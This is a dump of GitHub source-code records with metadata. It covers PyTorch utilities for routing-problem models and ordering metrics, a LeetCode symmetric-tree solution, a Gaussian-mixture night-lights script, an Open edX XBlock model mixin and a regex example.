'cvrp': CVRP,\n 'sdvrp': SDVRP,\n 'op': OP,\n 'pctsp_det': PCTSPDet,\n 'pctsp_stoch': PCTSPStoch,\n }.get(name, None)\n assert problem is not None, \"Currently unsupported problem: {}!\".format(name)\n return problem\n\n\ndef torch_load_cpu(load_path):\n return torch.load(load_path, map_location=lambda storage, loc: storage) # Load on CPU\n\n\ndef move_to(var, device):\n if isinstance(var, dict):\n return {k: move_to(v, device) for k, v in var.items()}\n return var.to(device)\n\n\ndef _load_model_file(load_path, model):\n \"\"\"Loads the model with parameters from the file and returns optimizer state dict if it is in the file\"\"\"\n\n # Load the model parameters from a saved state\n load_optimizer_state_dict = None\n print(' [*] Loading model from {}'.format(load_path))\n\n load_data = torch.load(\n os.path.join(\n os.getcwd(),\n load_path\n ), map_location=lambda storage, loc: storage)\n\n if isinstance(load_data, dict):\n load_optimizer_state_dict = load_data.get('optimizer', None)\n load_model_state_dict = load_data.get('model', load_data)\n else:\n load_model_state_dict = load_data.state_dict()\n\n state_dict = model.state_dict()\n\n state_dict.update(load_model_state_dict)\n\n model.load_state_dict(state_dict)\n\n return model, load_optimizer_state_dict\n\n\ndef load_args(filename):\n with open(filename, 'r') as f:\n args = json.load(f)\n\n # Backwards compatibility\n if 'data_distribution' not in args:\n args['data_distribution'] = None\n probl, *dist = args['problem'].split(\"_\")\n if probl == \"op\":\n args['problem'] = probl\n args['data_distribution'] = dist[0]\n return args\n\n\ndef load_model(path, epoch=None):\n from nets.attention_model import AttentionModel\n from nets.pointer_network import PointerNetwork\n\n if os.path.isfile(path):\n model_filename = path\n path = os.path.dirname(model_filename)\n elif os.path.isdir(path):\n if epoch is None:\n epoch = max(\n int(os.path.splitext(filename)[0].split(\"-\")[1])\n for filename in os.listdir(path)\n if os.path.splitext(filename)[1] == '.pt'\n )\n model_filename = os.path.join(path, 'epoch-{}.pt'.format(epoch))\n else:\n assert False, \"{} is not a valid directory or file\".format(path)\n\n args = load_args(os.path.join(path, 'args.json'))\n\n problem = load_problem(args['problem'])\n\n model_class = {\n 'attention': AttentionModel,\n 'pointer': PointerNetwork\n }.get(args.get('model', 'attention'), None)\n assert model_class is not None, \"Unknown model: {}\".format(model_class)\n\n model = model_class(\n args['embedding_dim'],\n args['hidden_dim'],\n problem,\n n_encode_layers=args['n_encode_layers'],\n mask_inner=True,\n mask_logits=True,\n normalization=args['normalization'],\n tanh_clipping=args['tanh_clipping'],\n checkpoint_encoder=args.get('checkpoint_encoder', False),\n shrink_size=args.get('shrink_size', None)\n )\n # Overwrite model parameters by parameters to load\n load_data = torch_load_cpu(model_filename)\n model.load_state_dict({**model.state_dict(), **load_data.get('model', {})})\n\n model, *_ = _load_model_file(model_filename, model)\n\n model.eval() # Put in eval mode\n\n return model, args\n\n\ndef parse_softmax_temperature(raw_temp):\n # Load from file\n if os.path.isfile(raw_temp):\n return np.loadtxt(raw_temp)[-1, 0]\n return float(raw_temp)\n\n\ndef run_all_in_pool(func, directory, dataset, opts, use_multiprocessing=True):\n # # Test\n # res = func((directory, 'test', *dataset[0]))\n # return [res]\n\n num_cpus = os.cpu_count() if opts.cpus is None else opts.cpus\n\n w = len(str(len(dataset) - 1))\n offset = getattr(opts, 'offset', None)\n if offset is None:\n offset = 0\n ds = dataset[offset:(offset + opts.n if opts.n is not None else len(dataset))]\n pool_cls = (Pool if use_multiprocessing and num_cpus > 1 else ThreadPool)\n with pool_cls(num_cpus) as pool:\n results = list(tqdm(pool.imap(\n func,\n [\n (\n directory,\n str(i + offset).zfill(w),\n *problem\n )\n for i, problem in enumerate(ds)\n ]\n ), total=len(ds), mininterval=opts.progress_bar_mininterval))\n\n failed = [str(i + offset) for i, res in enumerate(results) if res is None]\n assert len(failed) == 0, \"Some instances failed: {}\".format(\" \".join(failed))\n return results, num_cpus\n\n\ndef do_batch_rep(v, n):\n if isinstance(v, dict):\n return {k: do_batch_rep(v_, n) for k, v_ in v.items()}\n elif isinstance(v, list):\n return [do_batch_rep(v_, n) for v_ in v]\n elif isinstance(v, tuple):\n return tuple(do_batch_rep(v_, n) for v_ in v)\n\n return v[None, ...].expand(n, *v.size()).contiguous().view(-1, *v.size()[1:])\n\n\ndef sample_many(inner_func, get_cost_func, input, batch_rep=1, iter_rep=1):\n \"\"\"\n :param input: (batch_size, graph_size, node_dim) input node features\n :return:\n \"\"\"\n input = do_batch_rep(input, batch_rep)\n\n costs = []\n pis = []\n for i in range(iter_rep):\n _log_p, pi = inner_func(input)\n # pi.view(-1, batch_rep, pi.size(-1))\n cost, mask = get_cost_func(input, pi)\n\n costs.append(cost.view(batch_rep, -1).t())\n pis.append(pi.view(batch_rep, -1, pi.size(-1)).transpose(0, 1))\n\n max_length = max(pi.size(-1) for pi in pis)\n # (batch_size * batch_rep, iter_rep, max_length) => (batch_size, batch_rep * iter_rep, max_length)\n pis = torch.cat(\n [F.pad(pi, (0, max_length - pi.size(-1))) for pi in pis],\n 1\n ) # .view(embeddings.size(0), batch_rep * iter_rep, max_length)\n costs = torch.cat(costs, 1)\n\n # (batch_size)\n mincosts, argmincosts = costs.min(-1)\n # (batch_size, minlength)\n minpis = pis[torch.arange(pis.size(0), out=argmincosts.new()), argmincosts]\n\n return minpis, mincosts\n\ndef order_compare(order_rl, order_sorted):\n L = len(order_rl)\n cal_relationship = dict()\n sorted_relationship = dict()\n\n recall_num = 0\n radius = []\n\n for i in range(L):\n for key in cal_relationship:\n cal_relationship[key].append(order_rl[i]) \n cal_relationship[order_rl[i].item()] = [i]\n \n for key in sorted_relationship:\n sorted_relationship[key].append(order_sorted[i]) \n sorted_relationship[order_sorted[i].item()] = [i]\n\n for key in sorted_relationship:\n recall_num += len([element for element in sorted_relationship[key][1:] if element in cal_relationship[key][1:]]) \n radius.append(abs(sorted_relationship[key][0]-cal_relationship[key][0]))\n \n #recall_accuracy = recall_num / ((L-1)*L/2.) \n recall_accuracy = recall_num \n \n radius_mean = sum(radius) / L\n\n radius.sort()\n \n return recall_accuracy, radius_mean, radius[-1]\n\ndef order_check(idx, idx_sorted):\n batch_size = idx.shape[0]\n\n accuracy_recall = [0. for _ in range(batch_size)] \n radius_mean = [0. for _ in range(batch_size)]\n radius_max = [0 for _ in range(batch_size)]\n \n for order in range(batch_size):\n\n order_training = idx[order]\n order_sorted = idx_sorted[order]\n \n recall_accuracy, radius_m, max_radius = order_compare(order_training, order_sorted)\n\n accuracy_recall[order] = recall_accuracy\n radius_mean[order] = radius_m\n radius_max[order] = max_radius\n\n return sum(accuracy_recall)/len(accuracy_recall), sum(radius_mean)/len(radius_mean), max(radius_max), max(accuracy_recall), min(accuracy_recall)\n #return accuracy_recall\n\ndef orderCompare(order_rl, order_sorted):\n L = len(order_rl)\n cal_relationship = dict()\n sorted_relationship = dict()\n\n mis_match = 0\n recall_num = 0\n\n radius = []\n\n for i in range(L):\n if order_rl[i] != order_sorted[i]: mis_match += 1\n for key in cal_relationship:\n cal_relationship[key].append(order_rl[i]) \n cal_relationship[order_rl[i].item()] = [i]\n \n for key in sorted_relationship:\n sorted_relationship[key].append(order_sorted[i]) \n sorted_relationship[order_sorted[i].item()] = [i]\n\n for key in sorted_relationship:\n recall_num += len([element for element in sorted_relationship[key][1:] if element in cal_relationship[key][1:]]) \n radius.append(abs(sorted_relationship[key][0]-cal_relationship[key][0]))\n \n recall_accuracy = recall_num / ((L-1)*L/2.) \n \n radius_mean = sum(radius) / L\n\n radius.sort()\n \n return mis_match, recall_accuracy, radius_mean, radius[-1]\n\ndef orderCheck(idx, idx_sorted):\n batch_size = idx.shape[0]\n\n misMatch = [0 for _ in range(batch_size)]\n accuracy_recall = [0. for _ in range(batch_size)] \n radius_mean = [0. for _ in range(batch_size)]\n radius_max = [0 for _ in range(batch_size)]\n \n for order in range(batch_size):\n\n order_training = idx[order]\n order_sorted = idx_sorted[order]\n \n mis_match, recall_accuracy, radius_m, max_radius = orderCompare(order_training, order_sorted)\n\n misMatch[order] = mis_match\n accuracy_recall[order] = recall_accuracy\n radius_mean[order] = radius_m\n radius_max[order] = max_radius\n\n return misMatch, accuracy_recall, radius_mean, radius_max\n\ndef smart_sort(x, permutation, dim=3):\n if dim == 2:\n d1, d2 = x.size()\n ret = x[\n torch.arange(d1).unsqueeze(1).repeat(1, d2).flatten(),\n permutation.flatten()\n ].view(d1, d2)\n else:\n d1, d2, d3 = x.size()\n ret = x[\n torch.arange(d1).unsqueeze(1).repeat(1, d2).flatten(),\n permutation.flatten()\n ].view(d1, d2, d3)\n return ret\n\ndef x_sorting(indice, data):\n L = len(data) \n if len(indice) != L: return torch.empty(0).cuda()\n\n y_ = data[:,1].view(data.shape[0]) \n x_ = data[:,0].view(data.shape[0]) \n left, right = 0, 1\n completed_indices = torch.empty(0).cuda()\n while right <= L:\n if right == L or y_[left] != y_[right]:\n if right - left > 1:\n _, x_indice = torch.sort(x_[left:right], dim=0)\n if len(completed_indices) == 0:\n completed_indices = smart_sort(indice[left:right].unsqueeze(0), x_indice.unsqueeze(0), 2).squeeze(0)\n else:\n completed_indices = torch.cat((completed_indices, smart_sort(indice[left:right].unsqueeze(0), x_indice.unsqueeze(0), 2).squeeze(0)), dim=0)\n else:\n if len(completed_indices) == 0:\n completed_indices = indice[left:right]\n else:\n completed_indices = torch.cat((completed_indices, indice[left:right]), dim=0)\n left = right\n right += 1\n\n return completed_indices\n\ndef deep_sort_x(indices, d):\n d_y_sorting = smart_sort(d, indices)\n batch_size = len(d)\n \n for i in range(batch_size):\n indices[i] = x_sorting(indices[i], d_y_sorting[i])\n return indices\n\ndef level_mismatch_cost(y_s, y):\n L = len(y_s) \n if L != len(y): \n print(\"Warning: lenth mismatch of compared y axis data\")\n return torch.empty(0).cuda(), torch.empty(0).cuda()\n \n cos = torch.nn.CosineSimilarity(dim=0, eps=1e-6)\n left, right = 0, 1\n coordi_sorted = torch.empty(0).cuda() \n coordi = torch.empty(0).cuda() \n\n while right <= L:\n if right == L or y_s[left] != y_s[right]:\n if left == 0:\n coordi_sorted = y_s[left:(left+1)]\n coordi = y[left:right].mean().unsqueeze(0)\n else:\n coordi_sorted = torch.cat((coordi_sorted, y_s[left:left+1]), dim=0)\n coordi = torch.cat((coordi, y[left:right].mean().unsqueeze(0)), dim=0)\n #cost_mean += torch.sqrt(torch.sum(torch.square(torch.sub(y[left:right], y_s[left:right])))) \n left = right\n right += 1\n return cos(coordi_sorted, coordi).unsqueeze(0).cuda()\n \ndef level_sorting(y_sorted, y_):\n batch_size = len(y_)\n \n cost = torch.empty(0).cuda()\n \n for i in range(batch_size):\n if i == 0:\n cost = level_mismatch_cost(y_sorted[i], y_[i])\n else:\n cost = torch.cat((cost, level_mismatch_cost(y_sorted[i], y_[i])), dim=0)\n return cost\n\ndef level_sorting_xy_pairs(indices, d, alpha=0.2, beta=0.8):\n y_ = d[:,:,1].view(d.shape[0], d.shape[1])\n x_ = d[:,:,0].view(d.shape[0], d.shape[1])\n d_y_sorting = smart_sort(d, indices)\n batch_size = len(d)\n \n for i in range(batch_size):\n indices[i] = x_sorting(indices[i], d_y_sorting[i])\n\n d_xy_sorting = smart_sort(d, indices)\n y_s = d_xy_sorting[:,:,1].view(d_xy_sorting.shape[0], d_xy_sorting.shape[1])\n x_s = d_xy_sorting[:,:,0].view(d_xy_sorting.shape[0], d_xy_sorting.shape[1])\n cos = torch.nn.CosineSimilarity(dim=1, eps=1e-6)\n cost = alpha * cos(x_s.cuda(), x_.cuda()).cuda() + beta * cos(y_s.cuda(), y_.cuda()).cuda()\n return cost, indices\n\ndef topo_sorting(graph):\n head = []\n tail = []\n\n nodes_of_multiPredecessors = []\n visited = dict()\n\n def combine(path1, path2):\n if len(path1) <= 0 or len(path2) <= 0: return path1 + path2\n result_path = []\n \n pivot = -1\n pivot_id1 = len(path1)\n pivot_id2 = len(path2)\n \n for _id1 in range(len(path1)):\n if pivot_id1 < len(path1): break\n if path1[_id1] in nodes_of_multiPredecessors:\n for _id2 in range(len(path2)):\n if path2[_id2] == path1[_id1]:\n pivot = path1[_id1]\n pivot_id1 = _id1\n pivot_id2 = _id2\n\n sub_combine = []\n if pivot_id1 < len(path1) and pivot_id2 < len(path2):\n sub_combine = combine(path1[pivot_id1+1:], path2[pivot_id2+1:])\n path1 = path1[:pivot_id1]\n path2 = path2[:pivot_id2]\n \n point1, point2 = 0, 0\n while point1 < len(path1) and point2 < len(path2):\n if path1[point1] < path2[point2]:\n result_path.append(path1[point1])\n point1 += 1\n else:\n result_path.append(path2[point2])\n point2 += 1\n if point1 < len(path1): result_path += path1[point1:]\n elif point2 < len(path2): result_path += path2[point2:]\n \n if pivot >= 0: result_path.append(pivot)\n return result_path + sub_combine\n \n def path_finder(node):\n #node_id = np.where(node==2)[0][0]\n node_id = torch.nonzero(node==2).item()\n\n if node_id in visited:\n return visited[node_id]\n if node_id in tail:\n return []\n\n sub_paths = []\n #for child_id in np.where(node==1)[0]:\n for child_id in torch.nonzero(node==1):\n sub_paths.append(path_finder(graph[[(graph[i][child_id]==2).item() for i in range(graph.shape[0])].index(True)]))\n \n while len(sub_paths) > 1:\n combine_path = combine(sub_paths[0], sub_paths[1])\n sub_paths = sub_paths[2:] + [combine_path]\n\n visited[node_id] = sub_paths[0] \n\n #if np.where(node==-1)[0].shape[0] > 1:\n if torch.nonzero(node==-1).shape[0] > 1:\n nodes_of_multiPredecessors.append(node_id)\n\n return [node_id] + sub_paths[0]\n \n for idx in range(graph.shape[0]):\n embedding_node = graph[idx]\n\n if sum([i>=0 for i in embedding_node]) == embedding_node.shape[0]:\n head.append(embedding_node) \n elif sum([i<=0 for i in embedding_node]) == embedding_node.shape[0] - 1:\n tail.append(torch.nonzero(embedding_node==2).item())\n \n path_collections = []\n for head_node in head:\n path_collections.append(path_finder(head_node)[1:])\n\n while len(path_collections) > 1:\n path_combination = combine(path_collections[0], path_collections[1])\n path_collections = path_collections[2:] + [path_combination]\n\n result = sorted([torch.nonzero(head[i]==2).item() for i in range(len(head))]) + path_collections[0] + sorted(tail)\n print(result)\n return result\n \ndef graph_sorting_DAG(dataset):\n indices = torch.tensor([[0]*dataset.shape[1] for _ in range(dataset.shape[0])]).cuda()\n \n batch_size = dataset.shape[0]\n for i in range(batch_size):\n print(\"treated graph: \")\n print(dataset[i])\n indices[i] = torch.tensor(topo_sorting(dataset[i])).cuda()\n\n return indices\n\ndef tensor_to_string(data):\n sequence = []\n for d in data:\n sequence.append(str(d.cpu().numpy())+\"\\n\")\n return sequence\n\"\"\"\nif __name__ == \"__main__\":\n #data = []\n\n #size = 10\n #num_samples = 2\n #random.seed(0)\n order = [i for i in range(size)]\n for _ in range(num_samples):\n G = nx.gnp_random_graph(size, random.random()) \n D = None \n while True:\n if nx.is_connected(G):\n D = nx.DiGraph([(u, v) for u, v in G.edges()]) \n if nx.is_directed_acyclic_graph(D):\n break\n G = nx.gnp_random_graph(size, random.random()) \n random.shuffle(order)\n mapping = {idx:item for idx, item in enumerate(order)}\n DAG = nx.relabel.relabel_nodes(D, mapping)\n \n graph = np.diag([2]*size)\n for u, v in DAG.edges():\n graph[u][v] = 1 \n graph[v][u] = -1 \n \n data.append(torch.FloatTensor(sorted(graph, key=lambda x : x[0]**2- x[-1]**3)))\n dataset = torch.stack(data).cuda()\n\n print(dataset)\n print(graph_sorting_DAG(dataset))\n\n \n idx = torch.tensor([[2, 1, 5, 0, 3, 4], [4, 1, 3, 2, 0, 5]]).cuda()\n #print(torch.max(idx) / 3)\n #p = 0.\n #t = torch.Tensor([i for i in range(int(list(idx.shape)[1]))]).cuda()\n #print(t)\n #idx_sorted = torch.tensor([i for i in range(idx.shape[1])]).cuda()\n #diff = torch.abs(idx - idx_sorted)\n \n #print(diff)\n #p = torch.max(diff)\n #print(p)\n #print(p.item())\n \n #diff = torch.mul(diff, torch.FloatTensor([1.]).cuda())\n #print(torch.mean(diff, 1).mean())\n #print(round(torch.mean(diff, 1).mean().item(), 2))\n\n #print(idx[:, 2:]>torch.tensor([[5], [3]]).cuda())\n #print(idx[:, 2:]>idx[:, 2].view(idx.shape[0], -1))\n #k = torch.tensor([torch.sum(idx[:, (i+1):]idx[:, i].view(idx.shape[0], -1), dim=1).view(idx.shape[0], -1) for i in range(idx.shape[1]-1)], dim=1)\n kk = torch.mul(torch.sum(k, dim=1), torch.FloatTensor([1.]).cuda()).mean()/2.\n m = torch.FloatTensor([0.]).cuda()\n m = torch.max(m, p)\n print(\"{:.2f}\".format(m.item()))\n #a = torch.FloatTensor([10]).cuda()\n #b = torch.FloatTensor([12]).cuda()\n #print(torch.max(a, b))\n \n #print(k)\n\n #L = idx.size()[1]\n #idx_sorted = torch.tensor([[1, 3, 2, 0, 4], [4, 0, 3, 1, 2]]).cuda()\n #idx_sorted = torch.tensor([0, 1, 2, 3, 4, 5]).cuda()\n #difference = idx_sorted - idx\n #difference = torch.add(torch.sum(torch.div((torch.negative(torch.abs(difference)) + difference), 2), dim=1), torch.tensor(L*(L-1)/2).cuda())\n #print(difference)\n idx_sorted = torch.tensor([[0, 1, 2, 3, 4, 5], [0, 1, 2, 3, 4, 5]]).cuda()\n print(tensor_to_string(idx_sorted))\n #print(order_check(idx, idx_sorted))\n\n #misMatch, accuracy_recall, radius_mean, radius_max = orderCheck(idx, idx_sorted)\n #accuracy_recall, radius_mean, radius_max, accuracy_recall_max, accuracy_recall_min = order_check(idx, idx_sorted)\n #print(\"mis_match: {:.2f}\".format(sum(misMatch)/len(misMatch)))\n #print(\"recall_accuracy: \", accuracy_recall)\n #print(\"maximum recall: \", accuracy_recall_max)\n #print(\"minimum recall: \", accuracy_recall_min)\n #print(\"radius_mean: \", radius_mean)\n #radius_max.sort()\n #print(\"radius_max: {:d}\".format(radius_max))\n\n #data = torch.tensor([[0.4, 0.3], [0.2, 0.3], [0.3, 0.3], [0.1, 0.5], [0.1, 0.8], [0.5, 0.8], [0.9, 0.9]]).cuda() \n #indice = torch.tensor([0, 1, 2, 3, 4, 5, 6]).cuda()\n #new_indice = x_sorting(indice, data)\n #dataset = torch.tensor([[[0.4, 0.5], [0.3, 0.5], [0.2, 0.3], [0.1, 0.3], [0.9, 0.1]], [[0.1, 0.8], [0.2, 0.4], [0.3, 0.8], [0.5, 0.7], [0.6, 0.4]]]).cuda()\n #idx = torch.tensor([[4, 2, 3, 1, 0], [4, 1, 3, 2, 0]]).cuda()\n #cost, indices = level_sorting_xy_pairs(idx, dataset)\n #print(cost)\n #print(indices)\n #print(deep_sort_x(idx, dataset))\n\n #y_s = torch.FloatTensor([[0.3, 0.3, 0.4, 0.5, 0.5, 0.6], [0.1, 0.1, 0.1, 0.3, 0.3, 0.7]]).cuda()\n #y = torch.FloatTensor([[0.4, 0.3, 0.3, 0.5, 0.6, 0.5], [0.3, 0.3, 0.1, 0.7, 0.1, 0.1]]).cuda()\n #y_s = torch.FloatTensor([0.3, 0.3, 0.4, 0.5, 0.5, 0.6]).cuda()\n #y = torch.FloatTensor([0.4, 0.3, 0.3, 0.5, 0.6, 0.5]).cuda()\n #res = level_mismatch_cost(y_s, y) \n #print(res)\n #res = level_sorting(y_s, y) \n #print(res)\n #print(res2)\n\"\"\"\n","repo_name":"Yu-Utah/RESPECT","sub_path":"utils/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":21760,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"73503841708","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport os\r\nimport sys\r\nproject_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\r\nsys.path.insert(0, project_dir)\r\n\r\nfrom common.common import TreeNode, Stack\r\nfrom collections import queue\r\n\r\n# Definition for a binary tree node.\r\n# class TreeNode(object):\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.left = None\r\n# self.right = None\r\n\r\n\r\nclass Solution(object):\r\n def isSymmetric(self, root):\r\n \"\"\"\r\n :type root: TreeNode\r\n :rtype: bool\r\n \"\"\"\r\n if root == None:\r\n return True\r\n # 先序遍历左子树\r\n left_sub_tree_stack = Stack()\r\n left_sub_tree_pre_order_seq = []\r\n\r\n node = root.left\r\n while node != None or left_sub_tree_stack.length > 0:\r\n if node != None:\r\n left_sub_tree_pre_order_seq.append(node.value)\r\n if node.right != None:\r\n left_sub_tree_stack.push(node.right)\r\n\r\n node = node.left\r\n else:\r\n left_sub_tree_pre_order_seq.append(None)\r\n node = left_sub_tree_stack.pop()\r\n\r\n print(left_sub_tree_pre_order_seq)\r\n\r\n # 相反方向遍历右子树\r\n right_sub_tree_stack = Stack()\r\n right_sub_tree_post_order_seq = []\r\n\r\n node = root.right\r\n while node != None or right_sub_tree_stack.length > 0:\r\n if node != None:\r\n right_sub_tree_post_order_seq.append(node.value)\r\n if node.left != None:\r\n right_sub_tree_stack.push(node.left)\r\n\r\n node = node.right\r\n else:\r\n right_sub_tree_post_order_seq.append(None)\r\n node = right_sub_tree_stack.pop()\r\n\r\n print(right_sub_tree_post_order_seq)\r\n\r\n return left_sub_tree_pre_order_seq == right_sub_tree_post_order_seq\r\n\r\n def isSymmetricBFS(self, root):\r\n \"\"\"\r\n :type root: TreeNode\r\n :rtype: bool\r\n \"\"\"\r\n if root == None:\r\n return True\r\n\r\n stack = [[root.left, root.right]]\r\n\r\n while len(stack) > 0:\r\n pair = stack.pop(0)\r\n\r\n left = pair[0]\r\n right = pair[1]\r\n\r\n if left == None and right == None:\r\n continue\r\n if left == None or right == None:\r\n return False\r\n if left.val == right.val:\r\n stack.extend([[left.left, right.right],\r\n [left.right, right.left]])\r\n else:\r\n return False\r\n\r\n return True\r\n\r\n\r\ndef buildTestTree(level_order_seq):\r\n len_seq = len(level_order_seq)\r\n level_order_map = {}\r\n root = None\r\n for i in range(1, len_seq+1):\r\n if level_order_seq[i-1] == None:\r\n continue\r\n\r\n left = None\r\n right = None\r\n\r\n if 2*i-1 < len_seq:\r\n v = level_order_seq[2*i-1]\r\n if v != None:\r\n left = level_order_map.setdefault(\r\n 2*i, TreeNode(v, None, None))\r\n\r\n if 2*i < len_seq:\r\n v = level_order_seq[2*i]\r\n if v != None:\r\n right = level_order_map.setdefault(\r\n 2*i+1, TreeNode(v, None, None))\r\n\r\n if i == 1:\r\n root = TreeNode(level_order_seq[i-1], left, right)\r\n else:\r\n parent = level_order_map[i]\r\n parent.left = left\r\n parent.right = right\r\n\r\n return root\r\n\r\n\r\nif __name__ == '__main__':\r\n root = buildTestTree([1, 2, 2, None, 3, None, 3])\r\n\r\n s = Solution()\r\n print(s.isSymmetric(root))\r\n","repo_name":"cqxmzhc/my_leetcode_solutions","sub_path":"101-SymmetricTree/SymmetricTree.py","file_name":"SymmetricTree.py","file_ext":"py","file_size_in_byte":3688,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"43451667722","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 7 21:02:40 2019\n\n@author: diego\n\"\"\"\n\n# Import libraries\n\nimport pandas as pd\nfrom sklearn.mixture import GaussianMixture\n\n\n# Read data\n\nradiance = pd.read_csv('input/model/near_nightlights_GMM.csv')\n\n# Fit GMM model\n\ngmm = GaussianMixture(n_components=3, covariance_type='full').fit(radiance)\n\n\n# Predict labels\n\nlabels = gmm.predict(radiance)\n\n\n# Bind columns (original DF and labels)\n\ndf_labels = pd.concat([radiance, pd.DataFrame(labels)], axis=1, ignore_index=True)\n\n\n# Observations per class\n\nobs_class = df_labels.groupby(1).agg({0: 'count'})\nprint(obs_class)\n\n\n# mean per class\n\nmean_class = df_labels.groupby(1).agg({0: 'mean'})\nprint(mean_class)\n\n\n# Max per class\n\nmax_class = df_labels.groupby(1).agg({0: 'max'})\nprint(max_class)\n\n# Min per class\n\nmin_class = df_labels.groupby(1).agg({0: 'min'})\nprint(min_class)","repo_name":"diegoacastro/poverty_vs_satellite_images","sub_path":"RS/scripts/GMM_nightlights.py","file_name":"GMM_nightlights.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40165308178","text":"\"\"\"\nHandle data access logic for the XBlock\n\"\"\"\nfrom __future__ import absolute_import\n\nfrom enum import Enum\nfrom django.db import IntegrityError\nfrom django.utils.translation import ugettext_lazy as _\nfrom xblock.fields import Boolean\nfrom xblock.fields import Float\nfrom xblock.fields import Integer\nfrom xblock.fields import List\nfrom xblock.fields import Scope\nfrom xblock.fields import String\n\n\nMAX_RESPONSES = 3\n\n\nclass FreeTextResponseModelMixin(object):\n \"\"\"\n Handle data access for Image Modal XBlock instances\n \"\"\"\n\n editable_fields = [\n 'display_name',\n 'prompt',\n 'weight',\n 'max_attempts',\n 'display_correctness',\n 'min_word_count',\n 'max_word_count',\n 'fullcredit_keyphrases',\n 'halfcredit_keyphrases',\n 'submitted_message',\n 'display_other_student_responses',\n 'saved_message',\n ]\n\n display_correctness = Boolean(\n display_name=_('Display Correctness?'),\n help=_(\n 'This is a flag that indicates if the indicator '\n 'icon should be displayed after a student enters '\n 'their response'\n ),\n default=True,\n scope=Scope.settings,\n )\n display_other_student_responses = Boolean(\n display_name=_('Display Other Student Responses'),\n help=_(\n 'This will display other student responses to the '\n 'student after they submit their response.'\n ),\n default=False,\n scope=Scope.settings,\n )\n displayable_answers = List(\n default=[],\n scope=Scope.user_state_summary,\n help=_('System selected answers to give to students'),\n )\n display_name = String(\n display_name=_('Display Name'),\n help=_(\n 'This is the title for this question type'\n ),\n default='Free-text Response',\n scope=Scope.settings,\n )\n fullcredit_keyphrases = List(\n display_name=_('Full-Credit Key Phrases'),\n help=_(\n 'This is a list of words or phrases, one of '\n 'which must be present in order for the student\\'s answer '\n 'to receive full credit'\n ),\n default=[],\n scope=Scope.settings,\n )\n halfcredit_keyphrases = List(\n display_name=_('Half-Credit Key Phrases'),\n help=_(\n 'This is a list of words or phrases, one of '\n 'which must be present in order for the student\\'s answer '\n 'to receive half credit'\n ),\n default=[],\n scope=Scope.settings,\n )\n max_attempts = Integer(\n display_name=_('Maximum Number of Attempts'),\n help=_(\n 'This is the maximum number of times a '\n 'student is allowed to attempt the problem'\n ),\n default=0,\n values={'min': 1},\n scope=Scope.settings,\n )\n max_word_count = Integer(\n display_name=_('Maximum Word Count'),\n help=_(\n 'This is the maximum number of words allowed for this '\n 'question'\n ),\n default=10000,\n values={'min': 1},\n scope=Scope.settings,\n )\n min_word_count = Integer(\n display_name=_('Minimum Word Count'),\n help=_(\n 'This is the minimum number of words required '\n 'for this question'\n ),\n default=1,\n values={'min': 1},\n scope=Scope.settings,\n )\n prompt = String(\n display_name=_('Prompt'),\n help=_(\n 'This is the prompt students will see when '\n 'asked to enter their response'\n ),\n default='Please enter your response within this text area',\n scope=Scope.settings,\n multiline_editor=True,\n )\n submitted_message = String(\n display_name=_('Submission Received Message'),\n help=_(\n 'This is the message students will see upon '\n 'submitting their response'\n ),\n default='Your submission has been received',\n scope=Scope.settings,\n )\n weight = Integer(\n display_name=_('Weight'),\n help=_(\n 'This assigns an integer value representing '\n 'the weight of this problem'\n ),\n default=0,\n values={'min': 1},\n scope=Scope.settings,\n )\n saved_message = String(\n display_name=_('Draft Received Message'),\n help=_(\n 'This is the message students will see upon '\n 'submitting a draft response'\n ),\n default=(\n 'Your answers have been saved but not graded. '\n 'Click \"Submit\" to grade them.'\n ),\n scope=Scope.settings,\n )\n count_attempts = Integer(\n default=0,\n scope=Scope.user_state,\n )\n score = Float(\n default=0.0,\n scope=Scope.user_state,\n )\n student_answer = String(\n default='',\n scope=Scope.user_state,\n )\n has_score = True\n show_in_read_only_mode = True\n\n def store_student_response(self):\n \"\"\"\n Submit a student answer to the answer pool by appending the given\n answer to the end of the list.\n \"\"\"\n # if the answer is wrong, do not display it\n if self.score != Credit.full.value:\n return\n\n student_id = self.get_student_id()\n # remove any previous answers the student submitted\n for index, response in enumerate(self.displayable_answers):\n if response['student_id'] == student_id:\n del self.displayable_answers[index]\n break\n\n self.displayable_answers.append({\n 'student_id': student_id,\n 'answer': self.student_answer,\n })\n\n # Want to store extra response so student can still see\n # MAX_RESPONSES answers if their answer is in the pool.\n response_index = -(MAX_RESPONSES+1)\n self.displayable_answers = self.displayable_answers[response_index:]\n\n def max_score(self):\n \"\"\"\n Returns the configured number of possible points for this component.\n Arguments:\n None\n Returns:\n float: The number of possible points for this component\n \"\"\"\n return self.weight\n\n def _compute_score(self):\n \"\"\"\n Computes and publishes the user's core for the XBlock\n based on their answer\n \"\"\"\n credit = self._determine_credit()\n self.score = credit.value\n try:\n self.runtime.publish(\n self,\n 'grade',\n {\n 'value': self.score,\n 'max_value': Credit.full.value\n }\n )\n except IntegrityError:\n pass\n\n\nclass Credit(Enum):\n # pylint: disable=too-few-public-methods\n \"\"\"\n An enumeration of the different types of credit a submission can be\n awareded: Zero Credit, Half Credit, and Full Credit\n \"\"\"\n zero = 0.0\n half = 0.5\n full = 1.0\n","repo_name":"Stanford-Online/xblock-free-text-response","sub_path":"freetextresponse/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7019,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"36327802594","text":"#!/usr/bin/env python\nimport sys\nimport re\n\ndef main():\n str = \"Age: 18\"\n m = re.search(r'Age: (?P\\d+)', str)\n if m:\n print(m.group(\"age\"))\n\n \nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"terzeron/regex_tutorial_examples","sub_path":"named_capture.py","file_name":"named_capture.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73393969386","text":"import 